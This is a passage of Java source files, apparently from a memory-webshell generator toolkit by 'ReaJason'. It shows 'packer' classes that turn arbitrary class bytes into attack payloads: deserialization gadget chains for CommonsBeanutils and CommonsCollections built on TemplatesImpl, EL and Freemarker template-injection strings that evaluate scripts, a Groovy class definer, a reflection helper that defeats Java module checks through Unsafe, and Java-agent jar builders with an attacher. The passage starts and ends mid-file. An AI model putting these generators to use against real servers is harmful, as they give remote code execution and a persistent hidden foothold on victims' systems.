* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class CommonsBeanutils16Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
.value(2573799559215537819L).make()
|
||||
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
|
||||
.getDeclaredConstructor(String.class, Comparator.class)
|
||||
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
|
||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return JavaDeserializeGenerator.generate(queue);
|
||||
}
|
||||
}
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class CommonsBeanutils18Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
.value(-3490850999041592962L).make()
|
||||
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
|
||||
.getDeclaredConstructor(String.class, Comparator.class)
|
||||
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
|
||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return JavaDeserializeGenerator.generate(queue);
|
||||
}
|
||||
}
|
||||
+45
@@ -0,0 +1,45 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||
import net.bytebuddy.description.modifier.Ownership;
|
||||
import net.bytebuddy.description.modifier.Visibility;
|
||||
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.Comparator;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class CommonsBeanutils19Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
Object comparator = new ByteBuddy()
|
||||
.redefine(BeanComparator.class)
|
||||
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||
.value(-2044202215314119608L).make()
|
||||
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
|
||||
.getDeclaredConstructor(String.class, Comparator.class)
|
||||
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
|
||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||
queue.add("1");
|
||||
queue.add("1");
|
||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||
Object obj = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||
return JavaDeserializeGenerator.generate(queue);
|
||||
}
|
||||
}
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||
import org.apache.commons.collections.map.LazyMap;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class CommonsCollections3Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
|
||||
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null);
|
||||
|
||||
Map innerMap = new HashMap<>();
|
||||
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
|
||||
|
||||
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
|
||||
|
||||
Map expMap = new HashMap<>();
|
||||
expMap.put(tiedMapEntry, "valueTest");
|
||||
outerMap.remove(templates);
|
||||
|
||||
Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
|
||||
return JavaDeserializeGenerator.generate(expMap);
|
||||
}
|
||||
}
|
||||
+41
@@ -0,0 +1,41 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
import com.reajason.javaweb.packer.deserialize.TemplateUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||
import org.apache.commons.collections4.functors.ChainedTransformer;
|
||||
import org.apache.commons.collections4.functors.ConstantTransformer;
|
||||
import org.apache.commons.collections4.functors.InstantiateTransformer;
|
||||
|
||||
import javax.xml.transform.Templates;
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/17
|
||||
*/
|
||||
public class CommonsCollections4Packer implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(config.getClassBytes());
|
||||
ChainedTransformer chain =
|
||||
new ChainedTransformer(
|
||||
new ConstantTransformer(TrAXFilter.class),
|
||||
new InstantiateTransformer(
|
||||
new Class[]{Templates.class}, new Object[]{templates}));
|
||||
TransformingComparator comparator = new TransformingComparator(chain);
|
||||
PriorityQueue queue = new PriorityQueue(2, comparator);
|
||||
Reflections.setFieldValue(queue, "size", 2);
|
||||
Reflections.setFieldValue(queue, "comparator", comparator);
|
||||
return JavaDeserializeGenerator.generate(queue);
|
||||
}
|
||||
}
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class JavaDeserializePacker implements AggregatePacker {
|
||||
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
package com.reajason.javaweb.packer.deserialize.utils;
|
||||
|
||||
import java.lang.reflect.Array;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/19
|
||||
*/
|
||||
public class HessianUtils {
|
||||
|
||||
public static HashMap<?, ?> toMap(List<?> objs) throws Exception {
|
||||
HashMap<?, ?> s = new HashMap<>(8);
|
||||
Reflections.setFieldValue(s, "size", objs.size());
|
||||
Class<?> nodeC;
|
||||
try {
|
||||
nodeC = Class.forName("java.util.HashMap$Node");
|
||||
} catch (ClassNotFoundException var6) {
|
||||
nodeC = Class.forName("java.util.HashMap$Entry");
|
||||
}
|
||||
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
|
||||
nodeCons.setAccessible(true);
|
||||
Object tbl = Array.newInstance(nodeC, objs.size());
|
||||
for (int i = 0; i < objs.size(); i++) {
|
||||
Array.set(tbl, i, nodeCons.newInstance(0, objs.get(i), objs.get(i), null));
|
||||
}
|
||||
Reflections.setFieldValue(s, "table", tbl);
|
||||
return s;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
package com.reajason.javaweb.packer.deserialize.utils;
|
||||
|
||||
import sun.reflect.ReflectionFactory;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
@SuppressWarnings("restriction")
|
||||
public class Reflections {
|
||||
static {
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Object unsafe = unsafeField.get(null);
|
||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, Reflections.class, offset, module);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public static Field getField(final Class<?> clazz, final String fieldName) {
|
||||
Field field = null;
|
||||
try {
|
||||
field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
} catch (NoSuchFieldException ex) {
|
||||
if (clazz.getSuperclass() != null) {
|
||||
field = getField(clazz.getSuperclass(), fieldName);
|
||||
}
|
||||
}
|
||||
return field;
|
||||
}
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
|
||||
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
|
||||
final Field field = getField(obj.getClass(), fieldName);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
public static Object createWithoutConstructor(String classname) throws Exception {
|
||||
return createWithoutConstructor(Class.forName(classname));
|
||||
}
|
||||
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
|
||||
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
|
||||
}
|
||||
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
|
||||
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
|
||||
objCons.setAccessible(true);
|
||||
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
|
||||
sc.setAccessible(true);
|
||||
return (T) sc.newInstance(consArgs);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.el;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class ELPacker implements Packer {
|
||||
String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.freemarker;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class FreemarkerPacker implements Packer {
|
||||
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package com.reajason.javaweb.packer.groovy;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/11
|
||||
*/
|
||||
public class GroovyClassDefinerPacker implements Packer {
|
||||
String template = null;
|
||||
|
||||
public GroovyClassDefinerPacker() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.groovy")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package com.reajason.javaweb.packer.groovy;
|
||||
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class GroovyPacker implements AggregatePacker {
|
||||
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
package com.reajason.javaweb.packer.groovy;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class GroovyScriptEnginePacker implements Packer {
|
||||
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,155 @@
|
||||
package com.reajason.javaweb.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.net.URL;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.Enumeration;
|
||||
import java.util.Map;
|
||||
import java.util.jar.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/1
|
||||
*/
|
||||
public class AgentJarPacker implements JarPacker {
|
||||
private static Path tempBootPath;
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] packBytes(JarPackerConfig jarPackerConfig) {
|
||||
Manifest manifest = createManifest(jarPackerConfig.getMainClassName());
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
String relocatePrefix = "shade/";
|
||||
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||
addDependencies(targetJar, relocatePrefix);
|
||||
addClassesToJar(targetJar, jarPackerConfig.getClassBytes(), relocatePrefix);
|
||||
}
|
||||
return outputStream.toByteArray();
|
||||
}
|
||||
|
||||
private Manifest createManifest(String agentClass) {
|
||||
Manifest manifest = new Manifest();
|
||||
Attributes attributes = manifest.getMainAttributes();
|
||||
attributes.putValue("Manifest-Version", "1.0");
|
||||
attributes.putValue("Agent-Class", agentClass);
|
||||
attributes.putValue("Premain-Class", agentClass);
|
||||
attributes.putValue("Can-Redefine-Classes", "true");
|
||||
attributes.putValue("Can-Retransform-Classes", "true");
|
||||
return manifest;
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
|
||||
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
|
||||
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addClassesToJar(JarOutputStream targetJar, Map<String, byte[]> bytes, String relocatePrefix) {
|
||||
String dependencyPackage = Opcodes.class.getPackage().getName();
|
||||
for (Map.Entry<String, byte[]> entry : bytes.entrySet()) {
|
||||
addClassEntry(targetJar,
|
||||
entry.getKey(),
|
||||
entry.getValue(),
|
||||
dependencyPackage,
|
||||
relocatePrefix);
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||
String dependencyPackage, String relocatePrefix) {
|
||||
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
|
||||
targetJar.write(processedBytes);
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
|
||||
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||
String sourceUrlString = sourceUrl.toString();
|
||||
if (sourceUrlString.contains("!BOOT-INF")) {
|
||||
String path = sourceUrlString.substring("jar:nested:".length());
|
||||
path = path.substring(0, path.indexOf("!/"));
|
||||
String[] split = path.split("/!");
|
||||
String bootJarPath = split[0];
|
||||
String internalJarPath = split[1];
|
||||
if (tempBootPath == null) {
|
||||
tempBootPath = Files.createTempDirectory("mem-shell-boot");
|
||||
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
|
||||
}
|
||||
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
||||
}
|
||||
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
|
||||
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
JarEntry entry = entries.nextElement();
|
||||
String entryName = entry.getName();
|
||||
if (entryName.equals("META-INF/MANIFEST.MF")
|
||||
|| entryName.contains("module-info.class")) {
|
||||
continue;
|
||||
}
|
||||
if (!entry.isDirectory()) {
|
||||
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
|
||||
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||
if (StringUtils.isNoneEmpty(relocatePrefix)) {
|
||||
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||
if (entryName.endsWith(".class")) {
|
||||
if (bytes.length > 0) {
|
||||
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
|
||||
}
|
||||
} else {
|
||||
targetJar.putNextEntry(entry);
|
||||
}
|
||||
} else {
|
||||
targetJar.putNextEntry(entry);
|
||||
}
|
||||
targetJar.write(bytes);
|
||||
}
|
||||
}
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Extracts a JAR file to a temporary directory
|
||||
*
|
||||
* @param jarPath Path to the source JAR file
|
||||
* @param tempPath Path to the temporary directory
|
||||
*/
|
||||
@SneakyThrows
|
||||
public static void unzip(String jarPath, String tempPath) {
|
||||
try (JarFile jarFile = new JarFile(jarPath)) {
|
||||
Enumeration<JarEntry> entries = jarFile.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
JarEntry jarEntry = entries.nextElement();
|
||||
File targetFile = new File(tempPath, jarEntry.getName());
|
||||
|
||||
if (jarEntry.isDirectory()) {
|
||||
targetFile.mkdirs();
|
||||
continue;
|
||||
}
|
||||
|
||||
targetFile.getParentFile().mkdirs();
|
||||
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
|
||||
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
|
||||
IOUtils.copy(inputStream, outputStream);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+174
@@ -0,0 +1,174 @@
|
||||
package com.reajason.javaweb.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import com.reajason.javaweb.packer.jar.attach.Attacher;
|
||||
import com.reajason.javaweb.packer.jar.attach.VirtualMachine;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.net.URL;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.jar.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/1
|
||||
*/
|
||||
public class AgentJarWithJDKAttacherPacker implements JarPacker {
|
||||
private static Path tempBootPath;
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] packBytes(JarPackerConfig jarPackerConfig) {
|
||||
String packageName = getPackageName(jarPackerConfig.getMainClassName());
|
||||
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
|
||||
Manifest manifest = createManifest(jarPackerConfig.getMainClassName(), mainClassName);
|
||||
String relocatePrefix = "shade/";
|
||||
|
||||
Map<String, byte[]> classes = new HashMap<>();
|
||||
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
|
||||
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
|
||||
classes.putAll(attacherClasses);
|
||||
classes.putAll(virtualMachineClasses);
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||
addDependencies(targetJar, relocatePrefix);
|
||||
addClassesToJar(targetJar, jarPackerConfig.getClassBytes(), relocatePrefix);
|
||||
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
|
||||
String className = entry.getKey();
|
||||
byte[] bytes = entry.getValue();
|
||||
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||
targetJar.write(ClassBytesShrink.shrink(bytes, true));
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
}
|
||||
return outputStream.toByteArray();
|
||||
}
|
||||
|
||||
private Manifest createManifest(String agentClass, String mainClass) {
|
||||
Manifest manifest = new Manifest();
|
||||
Attributes attributes = manifest.getMainAttributes();
|
||||
attributes.putValue("Manifest-Version", "1.0");
|
||||
attributes.putValue("Agent-Class", agentClass);
|
||||
attributes.putValue("Premain-Class", agentClass);
|
||||
attributes.putValue("Main-Class", mainClass);
|
||||
attributes.putValue("Can-Redefine-Classes", "true");
|
||||
attributes.putValue("Can-Retransform-Classes", "true");
|
||||
return manifest;
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
|
||||
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
|
||||
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addClassesToJar(JarOutputStream targetJar, Map<String, byte[]> bytes, String relocatePrefix) {
|
||||
String dependencyPackage = Opcodes.class.getPackage().getName();
|
||||
for (Map.Entry<String, byte[]> entry : bytes.entrySet()) {
|
||||
addClassEntry(targetJar,
|
||||
entry.getKey(),
|
||||
entry.getValue(),
|
||||
dependencyPackage,
|
||||
relocatePrefix);
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||
String dependencyPackage, String relocatePrefix) {
|
||||
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
|
||||
targetJar.write(processedBytes);
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
|
||||
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||
String sourceUrlString = sourceUrl.toString();
|
||||
if (sourceUrlString.contains("!BOOT-INF")) {
|
||||
String path = sourceUrlString.substring("jar:nested:".length());
|
||||
path = path.substring(0, path.indexOf("!/"));
|
||||
String[] split = path.split("/!");
|
||||
String bootJarPath = split[0];
|
||||
String internalJarPath = split[1];
|
||||
if (tempBootPath == null) {
|
||||
tempBootPath = Files.createTempDirectory("mem-shell-boot");
|
||||
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
|
||||
}
|
||||
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
||||
}
|
||||
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
|
||||
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||
while (entries.hasMoreElements()) {
|
||||
JarEntry entry = entries.nextElement();
|
||||
String entryName = entry.getName();
|
||||
if (entryName.equals("META-INF/MANIFEST.MF")
|
||||
|| entryName.contains("module-info.class")) {
|
||||
continue;
|
||||
}
|
||||
if (!entry.isDirectory()) {
|
||||
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
|
||||
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||
if (StringUtils.isNoneEmpty(relocatePrefix)) {
|
||||
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||
if (entryName.endsWith(".class")) {
|
||||
if (bytes.length > 0) {
|
||||
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
|
||||
}
|
||||
} else {
|
||||
targetJar.putNextEntry(entry);
|
||||
}
|
||||
} else {
|
||||
targetJar.putNextEntry(entry);
|
||||
}
|
||||
targetJar.write(bytes);
|
||||
}
|
||||
}
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Extracts a JAR file to a temporary directory
|
||||
*
|
||||
* @param jarPath Path to the source JAR file
|
||||
* @param tempPath Path to the temporary directory
|
||||
*/
|
